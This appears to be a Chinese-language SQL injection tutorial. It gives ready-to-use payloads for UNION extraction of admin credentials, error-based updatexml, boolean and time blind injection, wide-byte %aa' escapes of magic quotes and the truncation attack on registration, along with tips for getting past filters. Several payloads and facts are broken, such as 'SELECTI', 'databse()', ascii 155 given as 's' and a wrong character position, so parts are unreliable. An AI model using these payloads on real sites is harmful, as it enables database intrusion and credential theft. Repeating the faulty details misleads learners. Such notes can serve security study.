SQL注入本质
注入攻击的本质,是把用户输入的数据当作代码执行。
这里有两个关键条件:
- 第一个是用户能够控制输入
- 第二个是原本程序要执行的代码,拼接了用户输入的数据然后进行执行
SQL注入分类
数字型注入
SELECT first_name,last_name FROM users WHERE user_id=$id
字符型注入
SELECT first_name,last_name FROM users WHERE user_id=’$id’
无论何种类型,都可以通过直接输入单引号来判断是否存在注入点。可以分别输入3和1+2,根据显示结果来判断数据类型。
如果是数字型,则会做运算,如果没做,则反之。
字符型注入最关键的是如何闭合SQL语句以及注释多余的代码。
SELECT first_name,last_name FROM users WHERE user_id=’ ‘or 1=1 or’ ‘
1 | SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#`;(按照Mysql语法,#后面会被注释掉,使用这种方法屏蔽掉后面的单引号,避免语法错误) |
order by 用于对结果集按照一个列或者多个列进行排序(默认是升序)
判断注入点
最古老的方法:
and 1=1 页面正常
and 1=2 页面不正常
最简单的方法: 页面后面加'
,可以尝试
还有一个办法:如果是数字型传参,可以尝试数字运算
例如:
id=1 页面显示id=1的页面。
id=2-1 页面显示id=1的页面。
and 1=1 and 1=2 被拦截的可能性很高。
可以尝试 and -1=-1 and -1=-2 and 1>0 or 1=1 或者or sleep(5)
正常SQL注入流程
显错注入-联合查询(mysql数据库)的基本流程:
是否存在注入点—猜解字段数—联合查询寻找输出点—然后用系统自带库查询表名,字段名—查询我们需要的字段的值。
联合查询[将两个查询语句结果一起输出]
select * from news where id=1 (第一条数据)
union
select password,username from admin; (第二条数据)
联合查询要求两个查询语句的结果集字段数必须相同。
Mysql在5.0以上版本加入了 information_shcema这个系统自带库,其中保存着关于Mysql服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。
information_schema.tables 存放表名和库名的对应。[注:information_shcema.tables实际上是选中information_schema库中的tables表]
information_schema.columns 存放字段名和表名的对应。
php代码分析
if(isset($_GET[‘Submit’])){ //判断submit变量是否存在
$id=$_GET[‘id’]; //获取id变量的值并赋值给变量$id
$getid=”SELECTI first_name,last_name FROM users WHERE use_id=’$id’”;
//将select查询语句赋值给变量$getid
$result=mysql_query($getid) or die(‘
'.mysql_error().'>’);
//mysql_query函数执行mysql查询
mysql_query()如果是执行查询之类的语句(select),那么会返回一个资源标识符,也就是我们要查找的数据结果集;
mysql——query()如果是执行增删改之类的语句,返回的就是true或者false了。
//die()函数输出一条消息,并退出当前脚本
//mysql_error()函数返回上一个MySQL操作产生的文本错误信息。
//or之前的语句执行不成功时,才会执行后面的语句。
//and之前的语句执行成功时,才会执行后面的语句。
}
如何防御sql注入
sql注入漏洞的形成原因:
用户构造的语句被代入到数据库中执行
防御sql注入的首要原则:
用户的一切输入都是有害的,或者说是不被信任的
防御SQL注入的主要方法:
对用户输入的数据进行过滤
sql注入漏洞挖掘
如何从代码层面挖掘SQL注入漏洞
漏洞挖掘主要可以从以下几个方面入手:
代码中负责获取用户数据的变量:$_GET、$__POST、$_cookie、$_SERVER.
代码中负责执行数据库查询操作的函数: mysql_query()。
在代码中对这些变量和函数进行搜索跟踪,从而分析是否存在漏洞。
获得网站源代码,然后对变量和函数进行搜索跟踪,来分析是否存在漏洞。
sql约束攻击
原因
sql语句中insert和select对长度和空格的处理方式差异造成漏洞。
select对参数后面的空格的处理方式是删除,insert只是取规定的最大长度的字符串。
逻辑
1、用
1 |
|
检测输入的用户名,如果存在,说明注册过,则提示用户名已存在。
2、若用户名不存在 ,那么在注册的时候用
1 |
|
将注册的用户名和密码插入数据库中。
漏洞分析
假设数据库中存在一个admin,而且最大的限制长度是25,我们在注册的时候输入用户名admin[20个空格]1,密码随意输入。那么数据库在判断我们注册的用户名是否存在时,使用select语句,那么空格就会被删除,剩下admin1。这时因为数据库中只有admin,所以会被注册成新用户,但在注册的时候用的是insert语句,不删除空格,只取最大字符串,那么我们实际注册的用户名就是admin[20个空格]。
在登陆的时候select语句查找,以为查找的时候select回删除空格,就会返回两个admin,一条是真正的admin,另一条是admin[20个空格],那么我们就可以用admin和我们自己的密码登录了。
在SQL中执行字符串处理时,字符串末尾的空格符将会被删除。例如如下代码:
SELECT userId from user where username = ‘test ‘
上述代码和username = 'test'结果是一样的。但也存在异常情况,最好的例子就是LIKE子句了。注意,对尾部空白符的这种修剪操作,主要是在“字符串比较”期间进行的。这是因为,SQL会在内部使用空格来填充字符串,以便在比较之前使其它们的长度保持一致。
在所有的INSERT查询中,SQL都会根据varchar(n)来限制字符串的最大长度。也就是说,如果字符串的长度大于“n”个字符的话,那么仅插入字符串的前“n”个字符。比如特定列的长度约束为“5”个字符,那么在插入字符串“testName”时,实际上只能插入字符串的前5个字符,即“testN”。
当注册时,后台一般先select一下用户名看看是否存在,然后在insert一下。示例代码如下:
<?php
$username = mysql_real_escape_string($_GET['username']);
$password = mysql_real_escape_string($_GET['password']);
$query = "SELECT *
FROM users
WHERE username='$username'";
$res = mysql_query($query, $database);
if($res) {
if(mysql_num_rows($res) > 0) {
}
else {
$query = "INSERT INTO users(username, password)
VALUES ('$username','$password')";
这里注册时使用用户名+【大量空格】和随机密码注册即可完成攻击。
主要原理就是insert时候有varchar(n)的限制,大于n的时候会截取前n个存入。在数据库对字符串进行比较时,即select操作,如果两个字符串的长度不一样,则会将较短的字符串末尾填充空格,使两个字符串的长度一致。注册时select语句不会将”admin+[大量空格]11”删减到n位,所以不会被select查出与admin重复,不会返回数据,接下来就可以插入admin+[空格](截取)11和自定义密码了。
如果使用用户名“vampire”和密码“random_pass”登录的话,对比时是admin与admin+[大量空格],会将前面的admin添加空格与后面的长度相同在进行对比,那么返回的只能是我们自己注册的用户信息,而不会返回目标用户信息。SQL查询语句是一个and操作,如果密码不一样怎么会把目标用户的信息也返回回来?
当登陆时使用admin与自定义密码登陆,数据库将返回我们自己注册的账户信息,但是注意此处的return $username,虽然此时查询出来的是我们自己的用户信息,但是返回的用户名则是目标的用户名。如果此后的业务逻辑直接以该用户名为准,则我们就达到了水平越权的目的。
POST注入介绍
POST注入属于注入的一种,POST注入就是POST进行传参的注入,本质上和GET类型没有任何区别。
POST注入高危点:
- 登录框
- 查询框
- 等各种和数据库有交互的框
HEAD注入
PHP的超全局变量
php的全局变量是让一个脚本在全部域中可用,在调用时更加方便。
$_REQUEST(获取GET/POST/COOKIE) COOKIE在新版本已经无法获取了
$_POST (获取POST传参)
$_GET(获取GET的传参)
$_COOKIE(获取COOKIE的值)
$_SERVER(包含了诸如头信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组)
常用的:
$_SERVER[‘HTTP_REFERER’]获取Referer请求头数据。
$_SERVER[‘HTTP_USER_AGENT’] 获取用户相关信息,包括用户浏览器,操作系统等信息。
$_SERVER[‘REMOTE_ADDR’]浏览网页的用户ip。
updatexml()注入
HEAD注入一般是没有回显的,所以一般采用盲注或者报错注入【告诉你哪里错了,返回的信息里面有想要的数据】。
只有致命性的报错才能让数据库爆出报错注入:
比如以下函数:
updatexml() 更新xml文档的函数
语法:updatexml(目标xml内容,xml文档路径,更新的内容)
updatexml(123,concat(0x7e,(select database())),123)
updatexml()这个函数一般是配合and或者or使用的,他和联合查询不同,不需要在意什么字段数的问题。
eg:
select * from news where id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)
但是要注意,and情况下只要一个为false,就会判定为false,所以如果and前面的条件不成立的情况下,就不会执行后面的语句。所以使用的时候建议使用or
某些没有回显的盲注也可以通过updatexml()做出来。(因为有的报错注入的致命错误会显示出来,数据库只忽略普通报错)
但是报错一般有长度限制,不能输出太长的数据,尽量不要使用group_concat()。
x-forwarded-for
X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到web服务器的客户端最原始的ip地址的http请求头字段。[透明代理]
当今多数缓存服务器的用户为了通过缓存的方式来降低他们的外部带宽,他们常常通过鼓励或强制用户使用代理服务器来接入互联网。有些情况下,这些代理是透明代理,用户甚至不知道自己正在使用代理上网。那么为了获取真实ip就要用到X-Forwarded-For了。
盲注
盲注介绍
盲注就是在服务器没有错误回显的时候完成的注入攻击。服务器没有错误回显,对于攻击者来说缺少了非常重要的”调试信息”。
布尔盲注
布尔很明显Ture跟False,也就是说它只会根据你的注入信息返回Ture跟False,也就没有了之前的报错信息。
时间盲注
界面返回值只有一种,true无论输入任何值返回情况都会按照正常的来处理。加入特定的时间函数,通过查看web页面返回的时间差来判断注入的语句是否正确。
盲注需要掌握的几个函数
length() 函数,返回字符串的长度。
substr(str,pos,len) 截取字符串。
ascii()返回字符的ascii码
sleep()将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3)判断语句 如果第一个语句正确则执行第二个语句 不正确则执行第三个语句
猜解当前数据库名称长度:
id=1' and (length(database()))>9#
利用ASCII码猜解当前数据库名称
and (ascii(substr(database(),1,1)))=155 --+
返回正常说明数据库名称第一位是s
and(ascii(substr(database(),1,1)))=101 --+
返回正常说明数据库名称第二位是e
猜表名:
and(ascii(substr((select table_name from information schema.tables where table_schema=databse() limit 0,1),1,1)))=101 --+
返回正常,说明数据库表名的第一个的第一位是e。
猜字段名:
and(ascii(substr((select column_name from information_schema.columns where table_name='hello' limit 0,1),1,1)))=102 --+
返回正常,说明hello表中列名称的第一位是f
猜内容:
and(ascii(substr((select ff from hello limit 4,1),1,1)))=122 --+
说明列第一位是z
宽字节注入
什么是魔术引号
PHP的防御函数
magic_quote_gpc(魔术引号开关)
magic_quote_gpc函数在php中的作用是判断解析用户提交的数据,比如有:POST、GET、COOKIE过来的数据增加转义字符“\”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。
单引号'
,双引号"
,反斜线\
与null等字符都会被加上反斜线。
如果遇到了魔术引号的话:
- 寻找不需要闭合的注入点
- 使用宽字节注入
GBK编码格式
尽管现在呼吁所有的程序都是用unicode编码,所有的网站都是用了utf-8编码,来一个统一的国际规范(3字节编码)。但仍然有很多,包括国内及国外(特别是非英语国家)的一些cms,仍然使用自己国家的一套编码,比如我国的gbk,作为自己默认的编码类型。
GBK全称《汉字内码扩展规范》,gbk是一种多字符编码。它使用了双字节编码方案,因为双字节编码所以gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。
宽字节SQL注入的原理
宽字节SQL注入主要是源于程序员设置数据库编码为非英文编码那么就有可能产生宽字节注入。
例如mysql的编码设置为了set_name’gbk’或是set character_set_client=gbk,这样配置会引发编码转换而导致的注入漏洞。
宽字节sql注入就是PHP发送请求到mysql时使用了语句set names ’gbk‘ 进行了一次编码,但是又由于一些不经意的字符集转换导致了宽字节的注入。
某些注入的时候,当输入库名或表名的时候因为有单引号会被转义的时候,我们只有不让它出现单引号
- 利用子查询或者是函数。
1%aa’ or 1=1 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=(select table_name from information.schema.tables where table_schema=database() limit 0,1) #
这里就采用了子查询和函数结合的方式,巧妙的没有使用单引号。
- MYSQL 支持16进制。
1%aa’ or 1=1 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=0x(…) –+
这里可以把字符转换成16进制,0x表示这是16进制的标识。